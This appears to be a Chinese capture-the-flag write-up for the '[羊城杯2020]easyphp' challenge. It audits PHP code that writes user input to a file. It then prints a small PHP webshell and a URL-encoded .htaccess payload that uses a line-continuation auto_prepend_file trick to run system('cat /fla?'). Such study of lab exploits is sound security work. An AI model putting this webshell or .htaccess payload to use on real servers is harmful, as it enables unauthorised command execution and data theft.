3.[羊城杯2020]easyphp

打开题目页面如下

给出PHP源码,进行代码审计

php 复制代码
<?php
    // 使用 scandir 函数扫描当前目录(即 ./ 表示的当前目录),将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 遍历 $files 数组,对数组中的每个元素(即每个文件或文件夹名)执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件,而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php",则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 检查 $_GET 数组中是否同时存在 'content' 和 'filename' 键
    // $_GET 数组用于获取通过 HTTP GET 方法传递的参数
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        // 如果不存在,则使用 highlight_file 函数高亮显示当前文件(即本 PHP 文件)的源代码
        highlight_file(__FILE__);
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'content' 参数的值,并赋值给 $content 变量
    $content = $_GET['content'];
    // 使用 stristr 函数检查 $content 中是否包含 'on'、'html'、'type'、'flag'、'upload' 或 'file' 这些字符串
    // stristr 函数是不区分大小写的字符串查找函数
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        // 如果包含,则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'filename' 参数的值,并赋值给 $filename 变量
    $filename = $_GET['filename'];
    // 使用 preg_match 函数进行正则表达式匹配
    // 正则表达式 "/[^a-z\.]/" 表示匹配除小写字母 a - z 和点号 . 之外的任何字符
    // 如果匹配到了,则 preg_match 函数返回 1
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        // 如果匹配到了非法字符,则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 再次扫描当前目录,将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 再次遍历 $files 数组,对数组中的每个元素(即每个文件或文件夹名)执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件,而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php",则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 使用 file_put_contents 函数将 $content 内容加上换行符和 "Hello, world" 字符串写入到 $filename 指定的文件中
    // 如果文件不存在,则会创建该文件;如果文件已存在,则会覆盖原文件内容
    file_put_contents($filename, $content . "\nHello, world");
?>

这段代码的主要功能是:

清除当前目录下除 index.php 之外的所有文件。

接收通过 GET 请求传递的 content 和 filename 参数。

对 content 参数进行关键字过滤,防止包含特定敏感关键字。

对 filename 参数进行正则表达式验证,只允许包含小写字母和点号。

再次清除当前目录下除 index.php 之外的所有文件。

将 content 内容加上 "Hello, world" 写入到指定的文件中。


.htaccess 文件

.htaccess(Hypertext Access)文件是 Apache 服务器的一个配置文件,它允许用户在目录级别上对服务器进行配置,而无需修改主服务器配置文件。通过 .htaccess 文件,可以实现诸如 URL 重写、访问控制、文件类型映射等功能。

允许用户在不修改主服务器配置文件的情况下,对特定目录及其子目录进行个性化的配置。它为网站管理员提供了灵活的方式来定制服务器的行为,而无需直接操作服务器的主配置文件(如 httpd.conf

利用 .htaccess 文件写入 Web Shell 的原理

如果服务器允许使用 .htaccess 文件,并且对用户上传的 .htaccess 文件没有进行严格的过滤和验证,可以上传包含恶意配置的 .htaccess 文件,将普通文件解析为 PHP 代码,从而实现 Web Shell 的功能。

具体实现步骤

1. 构造恶意 .htaccess 文件

.txt 文件解析为 PHP 代码

apache

复制代码
<FilesMatch "\.txt$">
    SetHandler application/x-httpd-php
</FilesMatch>

上述代码的作用是将所有扩展名为 .txt 的文件按照 PHP 代码进行解析。

2. 上传恶意 .htaccess 文件

需要找到一个允许文件上传的漏洞点,将构造好的 .htaccess 文件上传到服务器的目标目录。

3. 上传包含 Web Shell 代码的 .txt 文件

上传一个包含 PHP Web Shell 代码的 .txt 文件

复制代码
<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

上述代码是一个简单的 Web Shell,通过 GET 或 POST 请求传递 cmd 参数,可以执行任意系统命令。

4. 访问 Web Shell

上传成功后,可以通过访问 .txt 文件并传递 cmd 参数来执行系统命令

plaintext

复制代码
http://example.com/path/to/shell.txt?cmd=ls

构造payload

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这个 payload 是通过构造特定的请求参数,尝试利用 .htaccess 文件的配置功能来执行恶意代码,以达到读取服务器上可能存在的 flag 文件内容的目的,通常应用于存在文件上传或参数可控漏洞的 Web 应用场景。

参数分析

1. filename=.htaccess

这部分指定了文件名。当服务器接收这个请求并处理文件写入操作时,会将后续的内容写入到名为 .htaccess 的文件中。.htaccess 文件是 Apache 服务器的一个分布式配置文件,允许在目录级别对服务器进行配置,攻击者可利用它来改变服务器对文件的处理方式或执行特定操作。

2. content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这部分是要写入 .htaccess 文件的内容,由于是 URL 编码后的形式,需要先进行解码。解码后内容为:

plaintext

复制代码
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>

php_value auto_prepend_fil\ 和 e .htaccess:

这里利用了换行和拼接的技巧。正常的 PHP 指令是 php_value auto_prepend_file,用于指定在执行 PHP 脚本之前自动包含的文件。攻击者将这个指令拆分成两行,中间用反斜杠 \ 进行换行拼接,最终目的是让服务器将 .htaccess 文件自身作为预处理文件包含进来。这样,后续在执行该目录下的 PHP 脚本时,会先执行 .htaccess 文件中的内容。

#<?php system('cat /fla?');?>:

这部分虽然看起来是一个注释,实际上是攻击者的恶意代码。# 在 .htaccess 文件中是注释符号,但当 .htaccess 文件被当作 PHP 代码执行时,# 就失去了注释的作用。<?php system('cat /fla?');?> 是一段 PHP 代码,system 函数用于执行系统命令,cat /fla? 表示尝试读取以 fla 开头的文件内容,可能是为了获取服务器上存储的 flag 文件。

最后利用hackbar插件构造url

最终得到flag

相关推荐
@西瓜@12 分钟前
(网络)应用层协议-HTTPS
网络·网络协议·https
海尔辛17 分钟前
学习黑客5 分钟读懂什么是 CVE?
网络·学习·安全
c语言中的小小白1 小时前
【Linux网络】————HTTP协议详解
网络·网络协议·http
电报号dapp1191 小时前
区块链钱包开发全解析:从架构设计到安全生态构建
安全·web3·去中心化·区块链·智能合约
Rverdoser1 小时前
代理服务器运行速度慢是什么原因
开发语言·前端·php
Frankabcdefgh2 小时前
前端进化论·JavaScript 篇 · 数据类型
javascript·安全·面试·数据类型·操作符·初学者·原理解析
achene_ql2 小时前
WebRTC:去中心化网络P2P框架解析
网络·去中心化·webrtc·p2p
s_little_monster2 小时前
【Linux】socket网络编程之TCP
linux·运维·网络·笔记·学习·tcp/ip·学习方法
森叶2 小时前
从 JIT 即时编译一直讲到CGI|FastGGI|WSGI|ASGI四种协议的实现细节
python·php·web
智驱力人工智能3 小时前
AI智慧公园管理方案:用科技重塑市民的“夜游体验”
人工智能·科技·安全·边缘计算·视觉分析·人工智能云计算·垂钓检测